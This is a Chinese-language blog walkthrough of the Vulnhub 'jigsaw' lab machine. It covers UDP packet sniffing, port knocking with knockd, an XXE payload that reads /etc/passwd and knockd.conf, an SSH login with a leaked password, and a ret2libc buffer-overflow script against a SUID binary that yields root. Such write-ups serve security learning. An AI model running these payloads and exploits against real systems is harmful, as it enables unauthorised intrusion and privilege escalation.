Vulnhub笔记-jigsaw

admin 2022年4月15日09:47:25评论58 views字数 5800阅读19分20秒阅读模式

    去年做过一个叫jigsaw的靶机,当时太菜了没有没搞进去,最后是按照WriteUp操作的,这个靶机涉及的知识和技巧让我印象深刻。所以打算再次尝试下,主要还是想把自己上次没做的笔记给补回来,方便以后自己再回过头来学习。笔记PWN部分参照了老外的WP。


靶机IP:192.168.88.140(Virtualbox 桥接方式)攻击机:192.168.8.87(Ubuntu 19.10)靶机难度:高级

去年做这个靶机的时候,首先用nmap tcp/udp扫描了全端口,扫描结果等了很久很久,但一无所获,当时问了问通关的同事,说是使用wireshark抓下UDP包能看到有用的东西。

我使用以下语法筛选了所有包含靶机ip的upd包,看到了靶机广播发包,目的端口是666

ip.addr==192.168.88.140 && udp

Vulnhub笔记-jigsaw


到这一步我还是比较懵比,同事提示我,使用udp方式连接目标靶机666端口,并发送字符串j19s4w,之后回显的字符串我用base64解了一下码,得到了第一个flag

airevan@Eternal:~$ ncat -u 192.168.88.140 666j19s4wZmxhZzF7MzAzNGNjMjkyN2I1OWUwYjIwNjk2MjQxZjE0ZDU3M2V9CllvdSBjb21wbGV0ZWQgeW91ciBmaXJzdCB0ZXN0LiBOb3cga25vY2sgdGhlc2UgbnVtYmVycyB0byBmaW5kIHdoYXQgeW91IHNlZWsuIDU1MDAgNjYwMCA3NzAw^Cairevan@Eternal:~$ base64 -dZmxhZzF7MzAzNGNjMjkyN2I1OWUwYjIwNjk2MjQxZjE0ZDU3M2V9CllvdSBjb21wbGV0ZWQgeW91ciBmaXJzdCB0ZXN0LiBOb3cga25vY2sgdGhlc2UgbnVtYmVycyB0byBmaW5kIHdoYXQgeW91IHNlZWsuIDU1MDAgNjYwMCA3NzAwflag1{3034cc2927b59e0b20696241f14d573e}You completed your first test. Now knock these numbers to find what you seek. 5500 6600 7700airevan@Eternal:~$


解码后末尾的一段话让我陷入了深思,我(查)深(过)思(百)熟(度)虑后得知knock是个工具,可以防止开放的端口被探测到,简单来说按你设定好的顺序连续敲一系列端口,服务器那边就会执行一个你定义的脚本,比如开放 ftp 服务器。按另一个顺序敲门,就可以把 ftp 服务器关闭

我在攻击机安装了knockd后执行了以下命令,解锁了某个隐藏的端口

airevan@Eternal:~$ knock -v 192.168.88.140 5500 6600 7700hitting tcp 192.168.88.140:5500hitting tcp 192.168.88.140:6600hitting tcp 192.168.88.140:7700

也可以通过namp来解锁定义的端口,只要依次向配置文件/etc/knockd.conf中定义的端口发送相应匹配tcpflags的请求即可。

for knock in 5500 6600 7700; do nmap -Pn --host-timeout 201 --max-retries 0 -p $knock 192.168.88.140;done

此时再次进行端口扫描可以探测到目标开启了80端口

airevan@Eternal:~$ nmap -sV -T4 192.168.88.140Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-28 19:22 CSTNmap scan report for 192.168.88.140Host is up (0.0055s latency).Not shown: 999 filtered portsPORT   STATE SERVICE VERSION80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 12.92 seconds


首页是个gif图片,gobuster扫了一下什么都没有。

Vulnhub笔记-jigsaw


把gif下载下来之后,使用xxd把图片内容以16进制列出来,在ASCII列末尾可以看到一个路径

Vulnhub笔记-jigsaw

Vulnhub笔记-jigsaw


访问之后可以看到一个登录页面,此处存在XXE漏洞

Vulnhub笔记-jigsaw

构造payload:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [  <!ELEMENT test ANY >  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root>  <email>&xxe;</email>   <password>123456</password></root>

可以看到靶机的/etc/passwd文件中允许登录的用户只有root和jigsaw

Vulnhub笔记-jigsaw


构造payload读取knockd.conf默认的配置文件

Vulnhub笔记-jigsaw


knockd.conf注释:[openSSH] //定义的配置名称        sequence    = 7011,8011,9011 //依次定义的端口        seq_timeout = 5 //超时(秒)        //command对应的是sequence匹配时执行的命令        command     = /sbin/iptables -I INPUT 1 -s %IP% -p tcp --dport 22 -j ACCEPT        tcpflags    = syn //SYN

再次使用knock解锁靶机ssh端口。

airevan@Eternal:~$ knock -v 192.168.88.140 7011 8011 9011hitting tcp 192.168.88.140:7011hitting tcp 192.168.88.140:8011hitting tcp 192.168.88.140:9011

随后爆了一下root和jigsaw用户的密码,但没爆出来,看了下WP,用户jigsaw的密码是j19s4w,在靶机广播包里。

Vulnhub笔记-jigsaw

试了试成功登录,在home目录下发现了第二个flag

airevan@Eternal:~$ ssh [email protected][email protected]'s password: Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 4.4.0-146-generic i686) * Documentation:  https://help.ubuntu.com/
System information as of Sun Mar 29 00:57:05 CDT 2020

jigsaw@jigsaw:~$ iduid=1000(jigsaw) gid=1000(jigsaw) groups=1000(jigsaw)jigsaw@jigsaw:~$ lsy0ud1dw3118u7175n070v32.txtjigsaw@jigsaw:~$ cat y0ud1dw3118u7175n070v32.txt
flag2{a69ef5c0fa50b933f05a5878a9cbbb54}Hack or fail. Make your choice... Now comes your final test.
jigsaw@jigsaw:~$

登录后使用find命令查找带S权限的文件,可以看到在/bin目录下有个game3的二进制文件

jigsaw@jigsaw:~$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chfn/usr/bin/chsh/usr/bin/gpasswd/usr/bin/traceroute6.iputils/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/usr/bin/mtr/usr/bin/pkexec/usr/bin/passwd/usr/lib/eject/dmcrypt-get-device/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/lib/pt_chown/usr/lib/openssh/ssh-keysign/usr/sbin/uuidd/usr/sbin/pppd/bin/su/bin/ping6/bin/fusermount/bin/umount/bin/game3/bin/mount/bin/ping

是个32位的程序,运行后会输出如下内容,虽然不知道是什么意思,但感觉很厉害的样子。

jigsaw@jigsaw:~$ game3game3: Most people are so ungrateful to be a hacker, but not you, not any more...
jigsaw@jigsaw:~$ file /bin/game3 /bin/game3: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=affd50502e973bd3d6d0637028395d87ba695ab9, not stripped

丢进IDA里瞅了瞅,文件的逻辑很简单

Vulnhub笔记-jigsaw


很明显,当运行程序传入参数时,strcpy函数存在栈溢出漏洞,

我PWN是个小白,我还是能躲就躲吧,先找找看有什么漏洞能把权限提上去的。

Vulnhub笔记-jigsaw

传了个脚本用来检测当前系统可能存在的漏洞,试了几个,都没有利用成功,靶机可能都不受影响

https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.s

Vulnhub笔记-jigsaw

没办法了,其他方式提不上去了,只能硬杠了,用pwntools工具的cyclic生成200个字符串,计算输入从缓冲区覆盖到EIP的偏移


$ cyclic 200aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab


Vulnhub笔记-jigsaw

airevan@Eternal:~$ cyclic -l taaa76
生成76个字符串,测试ABCD是否能准确覆盖到EIPairevan@Eternal:~$ python -c "print ('A'*76)+'ABCD'"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD

Vulnhub笔记-jigsaw

本打算自己尝试一下的,但是发觉当前是个低权限,关不掉ASLR,一时也没什么思路,看了看老外写的WP,利用了该程序运行时所需的共享库libc.so.6,我自己看的也不是很明白,这里就直接引用一下吧(作者已知情)

ldd /bin/game3 | grep libc #程序调用的动态链接库readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system #显示符号表段中的项readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exitstrings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh


Vulnhub笔记-jigsaw

现在已经获得了以下地址

Libc Base Addr: 0xb755f000Libc System Addr: 0x00040310Libc Exit Addr: 0x00033260Libc /bin/sh Addr: 0x00162d4c

构造EXP:

from subprocess import callimport struct
base_addr = 0xb755f000sys_addr = struct.pack("<I", base_addr+0x00040310)exit_addr = struct.pack("<I", base_addr+0x00033260)shell_addr = struct.pack("<I", base_addr+0x00162d4c)
buf = "A"*76buf += sys_addrbuf += exit_addrbuf += shell_addr
i = 0while(i<512): i += 1    ret = call(["/bin/game3", buf])

执行后在当前目录的txt文件中包含有flag


Vulnhub笔记-jigsaw


接触到vulnhub尝试过几个靶机之后,学到了很多新的技巧,同时也发觉自己太菜了,要学的东西实在是太多了。







# Reference

(WriteUp):https://mzfr.github.io/vulnhub-writeups/2019-07-02-Vulnhub-Jigsaw.html

(WriteUp):https://medium.com/@mrhenrike/vulnhub-jigsaw-1-walkthrough-179e279f591a

(Knock工具使用):https://zeroflux.org/projects/knock

原文始发于微信公众号(云黑客):Vulnhub笔记-jigsaw

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月15日09:47:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub笔记-jigsawhttps://cn-sec.com/archives/886619.html

发表评论

匿名网友 填写信息